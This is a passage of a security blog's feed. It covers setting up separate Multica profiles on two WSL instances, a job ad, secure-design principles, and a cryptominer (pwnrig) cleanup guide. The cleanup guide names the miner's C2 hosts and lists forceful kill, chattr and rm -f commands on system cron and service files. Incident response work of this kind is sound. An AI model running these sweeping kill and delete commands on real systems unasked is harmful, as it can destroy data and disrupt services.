&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这就说明两个 WSL 已经真正分离。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_16" class="h16"&gt;&lt;span class="span_for_h"&gt;十、为什么 status 里仍然显示两个 workspace？&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;即使使用了不同 profile，&lt;code&gt;daemon status&lt;/code&gt; 里仍然可能显示多个 workspace：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_json  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;workspaces&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;33a4****ba99&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;e044****dc66&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这不一定是问题。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;重点不是 &lt;code&gt;workspaces&lt;/code&gt; 里有几个 workspace，而是：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;当前 profile 的默认 workspace 是否正确；
device_name 是否正确；
daemon_id 是否不同。
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;例如：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;project-a profile:
  default workspace = 项目A
  device_name = 项目A-WSL

project-b profile:
  default workspace = 项目B
  device_name = 项目B-WSL
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这样就可以正常使用。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_17" class="h16"&gt;&lt;span class="span_for_h"&gt;十一、强烈建议设置 alias&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;为了避免以后忘记带 &lt;code&gt;--profile&lt;/code&gt;，建议给两个 WSL 分别设置 alias。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_18" class="h16"&gt;&lt;span class="span_for_h"&gt;项目A WSL&lt;/span&gt;&lt;/h3&gt;
&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;alias mca=&amp;#39;multica --profile project-a --workspace-id 33a4****ba99&amp;#39;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; ~/.bashrc
&lt;span class="nb"&gt;source&lt;/span&gt; ~/.bashrc
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以后使用：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;mca daemon status --output json
mca daemon logs -f
mca issue list
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;&lt;h3 id="toc_19" class="h16"&gt;&lt;span class="span_for_h"&gt;项目B WSL&lt;/span&gt;&lt;/h3&gt;
&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;alias mca=&amp;#39;multica --profile project-b --workspace-id e044****dc66&amp;#39;&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; ~/.bashrc
&lt;span class="nb"&gt;source&lt;/span&gt; ~/.bashrc
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以后使用：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;mca daemon status --output json
mca daemon logs -f
mca issue list
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以后尽量不要再直接用：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica daemon start
multica daemon restart
multica workspace switch
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;因为这会使用默认 profile，容易再次混乱。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_20" class="h16"&gt;&lt;span class="span_for_h"&gt;十二、最终推荐结构&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;我的两个项目最后采用这样的结构：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;WSL 1：项目A-WSL
  profile: project-a
  workspace: 项目A
  project: 项目A
  local path: /home/***/code/project-a

WSL 2：项目B-WSL
  profile: project-b
  workspace: 项目B
  project: 项目B
  local path: /home/***/code/project-b
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;每个 issue 都必须写清楚本地路径。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目A issue 示例：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Project: 项目A
Local repo path: /home/***/code/project-a

Required first commands:
cd /home/***/code/project-a
pwd
git status
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目B issue 示例：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Project: 项目B
Local repo path: /home/***/code/project-b

Required first commands:
cd /home/***/code/project-b
pwd
git status
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这样可以避免 Agent 进入错误目录工作。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_21" class="h16"&gt;&lt;span class="span_for_h"&gt;十三、使用 Multica 多项目时的经验总结&lt;/span&gt;&lt;/h2&gt;
&lt;h3 id="toc_22" class="h16"&gt;&lt;span class="span_for_h"&gt;1. 不要在任务运行时重启 daemon&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_json  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;active_task_count&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;就不要执行：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica daemon restart
multica daemon stop
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;否则任务会被取消。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_23" class="h16"&gt;&lt;span class="span_for_h"&gt;2. 多 WSL / 多项目必须使用不同 profile&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;错误方式：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica daemon start
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;正确方式：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-a daemon start
multica --profile project-b daemon start
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;&lt;h3 id="toc_24" class="h16"&gt;&lt;span class="span_for_h"&gt;3. profile 初始化要用 setup&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果新 profile 提示：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;No server configured. Run &amp;#39;multica setup&amp;#39; first.
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不要直接 login，先执行：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-a setup
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;&lt;h3 id="toc_25" class="h16"&gt;&lt;span class="span_for_h"&gt;4. 一个 workspace 不等于一个 runtime&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;workspace 是协作空间。&lt;br&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;daemon / runtime 才是真正执行任务的地方。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_26" class="h16"&gt;&lt;span class="span_for_h"&gt;5. Project 也不是强隔离边界&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;Project 只是 issue 容器。&lt;br&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;Agent 具体在哪个目录执行，还是要靠 issue 和 Agent 指令明确约束。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_27" class="h16"&gt;&lt;span class="span_for_h"&gt;6. 每个 issue 必须写清本地路径&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;例如：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Local repo path: /home/***/code/project-b
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;并要求 Agent 先执行：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /home/***/code/project-b
&lt;span class="nb"&gt;pwd&lt;/span&gt;
git status
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h2 id="toc_28" class="h16"&gt;&lt;span class="span_for_h"&gt;十四、最终结论&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;Multica 是支持多机器、多 workspace、多 runtime 的。&lt;br&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;我之前遇到的问题，不是 Multica 不支持多机，而是两个 WSL 都在使用默认 profile，导致 daemon state 没有隔离。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;最终正确解法是：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;不同项目
  ↓
不同 WSL
  ↓
不同 profile
  ↓
不同 default workspace
  ↓
不同 daemon_id / device_name
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;最终运行方式：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# 项目A&lt;/span&gt;
multica --profile project-a daemon start

&lt;span class="c1"&gt;# 项目B&lt;/span&gt;
multica --profile project-b daemon start
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;再配合 alias 固定 workspace：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;mca daemon status --output json
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这样两个项目就可以在两台 WSL 上同时运行，而不会互相顶掉。&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>某北京金融甲方招信息安全合规方向岗</title>

    <link href="https://www.secbig.com/recruitment0x1"  rel="alternate"></link>

    <updated>2023-10-16T03:34:00Z</updated>
    <id>recruitment0x1</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h2 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;某北京金融甲方招信息安全合规方向岗&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;工作地点：北京西城&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;学历要求: 统招本科及以上学历&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;岗位：信息安全管理合规&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;岗位要求：&lt;/span&gt;&lt;/h3&gt;
&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责公司信息安全体系建设与持续改进；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责公司的信息安全策略、制度、流程、指南的制定、撰写、实施和优化；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责推进公司的安全项目的落地实施；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责公司各类等保、合规、第三方认证、资质等需求的落地；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责内外部安全事件响应，制定安全应急响应机制并推进落地；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责对接业务部门，提供安全建设支持，包括架构、方案、策略等；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;负责公司安全知识宣贯和培训。

&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;任职要求：&lt;/span&gt;&lt;/h3&gt;
&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;统招全日制本科及以上学历，计算机或信息安全相关专业优先；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;具有安全评估、等级保护、安全体系规划等实施经验；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;对信息安全、风险管理方法及主流体系架构有充分理解；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;具备良好的团队合作精神、优秀的执行能力；良好的文档编写、展示以及跨部门沟通能力；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;同时具有ISO27001认证实施经验、CISSP、CISA证书优先；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;英语可以与外籍流畅沟通交流优先；

&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;简历投递：root@secbig.com&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>软件开发安全设计原则</title>

    <link href="https://www.secbig.com/security-design-principles-for-software-development"  rel="alternate"></link>

    <updated>2023-01-18T09:45:00Z</updated>
    <id>security-design-principles-for-software-development</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h3 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;最小特权原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;对于请求存储资源的主体，只应该分配最少的必要权限，而且应该保证赋予权限分配的必要时间最短。如果授予一个用户或进程、组件超过其行为必要的权限范围的许可，该用户或进程、组件就有可能获得或修改其没有权限处理的信息。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;权限分离原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;尽量把软件划分为不同的独立组件，把权限分成不同的权限许可和认证条件，用户授予不同的权限角色。不要将权限一次性授予一个用户，应该根据需要提供多重认证与检查机制再进行授予。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;最少共享机制原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;避免多个主体共享同一个资源，因为敏感的信息可能通过相同的资源在这些主体之间共享，导致被其他用户获取。每个主体应该有不同的资源或不同的资源实例，在保证多用户存取访问灵活性的同时，防止由单一的共享机制导致潜在违背安全性的行为。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;完全中立原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;每次主体对资源的请求，系统都应该实行认证和执行检查，特别是和安全相关的内容，以避免错误地赋予主体过高的权限，或者在第一次授予权限之后，主体被攻击之后攻击者滥用相关权限。为了提高性能，一些系统会缓存主体的权限，这种做法易使系统产生较高的安全风险。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;心理可接受程度原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;安全机制应该尽可能对用户透明，只引入少量的资源使用限制，对用户友好，才能在使用时方便用户的理解和使用，真正起到安全防护的作用。如果安全机制妨碍了资源的可用性或使得资源难以获取，那么用户很可能会选择关闭这些安全机制或功能。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;默认故障处理保护原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;当系统失效或产生故障时，必须是以安全的方式来处理系统信息，系统故障处理默认应该是安全的设置。例如，即使丧失了可用性，也应该保障系统的机密性和完整性；故障发生时必须阻止未授权的用户获得访问权限；发生故障后，应该不向远程未授权的用户暴露敏感信息，如错误号和错误信息、服务器信息之类。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;经济机制原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;复杂性是评估一个系统安全性的重要因素之一。如果设计、实现的功能非常复杂，那么系统存在安全漏洞的可能性就会大大增加，一些问题在复杂的系统中很难被及时发现。系统的设计和实现应该尽量简单，以降低因复杂性带来的安全问题。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;不信任原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;开发者应该假定系统环境是不安全的。减少对用户、外部系统、其他组件的信任，对外部实体所有的输入都需要进行检查。另外，也不应该认为每次对函数或系统的调用操作都会成功，必须对每次函数或系统调用返回值进行检查，并进行正确的处理。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_8" class="h16"&gt;&lt;span class="span_for_h"&gt;纵深防御原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;软件应该设置多重安全措施，并充分利用操作系统提供的安全防护机制，形成纵深防御体系，以降低攻击者成功攻击的几率。多重安全措施使攻击者绕过每一个机制才能达到目的，提高了攻击者的攻击成本，降低了安全危害。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_9" class="h16"&gt;&lt;span class="span_for_h"&gt;保障最弱环节原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;攻击者一般从系统最薄弱的环节发起攻击，而不是针对已经加固的组件。相对于破解一个数学上已经证明了比较安全的算法，攻击者更喜欢利用软件的安全漏洞。因此，软件开发者必须了解自己软件的薄弱点，对这些弱点实施更强的安全保护措施。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_10" class="h16"&gt;&lt;span class="span_for_h"&gt;公开设计原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;应该假定攻击者有能力获取系统足够的信息，不能依赖于攻击者 “不可能知道” 来保护系统的安全。如果设计的加密算法存在弱密钥，或者系统设有万能口令等，攻击者通过反汇编分析能够获取这些信息，攻击者还可能是内部被辞退的员工，因此，依赖于攻击者无法掌握某些特定信息来保护系统的安全是不可靠的。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_11" class="h16"&gt;&lt;span class="span_for_h"&gt;隐私保护原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;系统收集到的用户信息都必须实施妥善和安全的保护。攻击者获得了用户的隐私数据之后，可以进一步发起针对用户的各种攻击，如欺骗等，因此不应该向其他用户泄漏用户的隐私信息。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_12" class="h16"&gt;&lt;span class="span_for_h"&gt;攻击面最小化原则&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;攻击面（attack surface）通常也称受攻击面，是指对一个软件系统可以采取的攻击方法的集合。因为攻击者对软件的攻击是通过其暴露在外部的接口、功能、服务和协议等资源来实施的，通过对每种资源计算其被攻击成功的可能性，并将这些可能性综合归纳，即可以衡量软件的攻击面大小。可以看出，一个软件的攻击面越大，其安全风险也就越大。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;减少攻击面是安全设计中的一个重要步骤，软件设计人员需要仔细评估软件中所有的功能模块和接口的特性，分析其可能存在的安全风险，并设定相应的限制措施。如果一个功能 / 数据接口不是必要的，则应该取消或禁止，或者默认不开启。如果一个功能 / 数据接口的配置没有特殊的理由，则默认应该按安全的方式进行设置。&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>StartMiner挖矿处理</title>

    <link href="https://www.secbig.com/startminerwa-kuang-chu-li"  rel="alternate"></link>

    <updated>2021-09-21T11:37:02Z</updated>
    <id>startminerwa-kuang-chu-li</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start"&gt;C2地址为bash.givemexyz.in||205.185.116.78||bash.givemexyz.xyz&lt;br /&gt;&lt;/span&gt;
&lt;font color=#FF0000 &gt;
    &lt;span class="md_line"&gt;以下不能确认完全清除，如果病毒更换文件名请参考使用，&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;sudo kill -9 $(pidof python) || kill -9 $(pidof curl) || ps aux&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;包含干掉python和curl的功能，请逐条谨慎执行！！！！&lt;br /&gt;&lt;/span&gt;
&lt;/font&gt;&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;systemctl stop crond
sudo kill -9 $(pidof python) || kill -9 $(pidof curl) || ps aux
rm -f /tmp/go /tmp/i686 /tmp/x64b /tmp/x86_64 /tmp/x86_643 /tmp/dbusex /tmp/hxx
chattr -ia /var/spool/cron/root /var/spool/cron/crontabs/root
rm -f /var/spool/cron/root /var/spool/cron/crontabs/root
chattr -ia /usr/bin/bprofr /usr/bin/crondr /usr/bin/initdr /usr/bin/sysdr
rm -f /usr/bin/bprofr /usr/bin/crondr /usr/bin/initdr /usr/bin/sysdr
kill -9 $(pidof dbused)
chattr -ia ~/.bash_profile
sed -i '$d' ~/.bash_profile
chattr -ia /etc/init.d/down /etc/init.d/pwnrig
rm -f /etc/init.d/down /etc/init.d/pwnrig
chattr -ia /etc/cron.d/apache /etc/cron.d/nginx /etc/cron.d/pwnrig /etc/cron.d/root
rm -f /etc/cron.d/apache /etc/cron.d/nginx /etc/cron.d/pwnrig /etc/cron.d/root
chattr -ia /etc/cron.daily/pwnrig
rm -f /etc/cron.daily/pwnrig
chattr -ia /etc/cron.hourly/pwnrig /etc/cron.hourly/oanacroner1
rm -f /etc/cron.hourly/pwnrig /etc/cron.hourly/oanacroner1
chattr -ia /etc/cron.monthly/pwnrig
rm -f /etc/cron.monthly/pwnrig
chattr -ia /etc/cron.weekly/pwnrig
rm -f /etc/cron.weekly/pwnrig
rm -f /etc/rc0.d/K60pwnrig
rm -f /etc/rc1.d/K60pwnrig
rm -f /etc/rc2.d/S90pwnrig
rm -f /etc/rc3.d/S90pwnrig
rm -f /etc/rc4.d/S90pwnrig
rm -f /etc/rc5.d/S90pwnrig
rm -f /etc/rc6.d/K60pwnrig
chattr -ia /etc/systemd/system/pwnrige.service /etc/systemd/system/multi-user.target.wants/pwnrige.service /etc/systemd/system/multi-user.target.wants/pwnrigl.service /usr/lib/systemd/system/pwnrigl.service
rm -f /etc/systemd/system/pwnrige.service etc/systemd/system/pwnrige.service /etc/systemd/system/multi-user.target.wants/pwnrige.service /etc/systemd/system/multi-user.target.wants/pwnrigl.service /usr/lib/systemd/system/pwnrigl.service
systemctl start crond&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;</summary>

  </entry>


  <entry>


